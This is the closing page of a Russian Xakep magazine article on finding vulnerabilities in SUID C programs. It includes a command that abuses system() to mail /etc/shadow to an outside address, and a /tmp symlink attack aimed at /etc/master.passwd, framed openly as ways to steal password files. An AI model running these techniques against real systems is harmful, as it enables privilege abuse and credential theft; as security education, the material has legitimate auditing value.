|

Найди дыру в Си-скрипте
Xakep, номер #032, стр. 032-070-5
system (SOME_PROGRAM);
почему бы тогда, если программа SUID'ная, не поменять значение SOME_PROGRAM на "mail me@mail.ru < /etc/shadow"? Совершаем грех без проблем :). В итоге получаем файл с паролями.
Линки
И еще последняя фишка, о которой хотелось бы сказать - symlink'и, или ссылки на файлы. Многие SUID'ные программы создают подобные файлы в /tmp, а /tmp, как известно, доступна на запись всем. Разве будут проблемы с удалением symlink, созданного программой, и заменой его на свой, например, на /etc/master.passwd? Все прокатит без вопросов! И, в очередной раз, у нас появится возможность получить доступ к файлам, которые мы не можем обрабатывать при обычных условиях (правда, рассматриваемая возможность целиком зависит от программы, т.е. каким именно образом происходят отношения с symlink'ами, так что технологией данный вид атаки назвать сложно).
Keep It Simple Stupid
Несмотря на миф о сложности поиска ошибок в си-программах, это не такая уж страшная и тяжелая работа. Совсем необязательно быть видавшим виды гуру, чтобы суметь проанализировать какой-нибудь фтп-сервер, все исходники которого от силы займут килобайт 300-400. Такую работу в состоянии проделать даже начинающий программер. Ведь здесь речь идет ни о глобальном анализе всего и вся: в 90% всех случаев присутствует только поиск стандартных дырявых библиотечных функций, а это уже технология, один раз освоив которую, станешь в ней спецом. Желаю удачи в освоении!
Назад на стр. 032-070-4 Содержание
|